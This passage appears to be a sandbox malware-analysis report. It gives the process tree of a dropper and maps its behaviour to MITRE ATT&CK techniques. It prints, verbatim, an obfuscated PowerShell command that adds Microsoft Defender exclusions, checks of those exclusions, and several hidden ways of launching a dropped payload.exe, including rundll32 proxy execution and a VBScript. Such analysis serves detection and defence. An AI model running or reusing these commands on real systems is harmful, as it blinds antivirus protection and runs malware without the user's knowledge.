    powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABJAG4AcwB0AGEAbABsAGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABTAGUAdAB1AHAAXAB0AGUAbQBwAFwAbQB0ADQAagA1AGUAawBiAGUANQA3ADIAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAHQAZQBtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJwBDADoAXABVAHMAZQByAHMAXABBAGQAbQBpAG4AXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAFMAZQB0AHUAcABcAHQAZQBtAHAAXABtAHQANABqADUAZQBrAGIAZQA1ADcAMgBcAHAAYQB5AGwAbwBhAGQALgBlAHgAZQAnACAALQBGAG8AcgBjAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUAOwAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAEUAeAB0AGUAbgBzAGkAbwBuACAAJwAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIAAnAC4AdABtAHAAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAJwBwAGEAeQBsAG8AYQBkAC4AZQB4AGUAJwAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2740
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Installer.exe'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Installer.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:5536
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2132
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Installer.exe"
    3⤵
    PID:5752
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2240
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572"
    3⤵
    PID:5816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Setup\temp'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3736
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Setup\temp'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4596
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5264
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp"
    3⤵
    PID:3208
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe'""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1396
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -NoProfile -Command "(Get-MpPreference).ExclusionPath -contains 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1800
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3108
- - C:\Windows\system32\reg.exe
    reg query "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
    3⤵
    PID:1004
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:1576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4980
- C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe
  C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:3676
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3800
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5724
  - - C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:1884
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe""
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1384
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
    3⤵
    PID:5420
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:3480
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:5808
  - - C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:916
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4972
  - - C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:4696
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\msihelp_1daae4.vbs""
  2⤵
  - Executes a command shell one-liner
  PID:3492
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\msihelp_1daae4.vbs"
    3⤵
    - Executes a VBScript file via the Windows Script Host.
    PID:6000
  - - C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      PID:4912

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3764
- C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\temp\mt4j5ekbe572\payload.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  PID:5904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact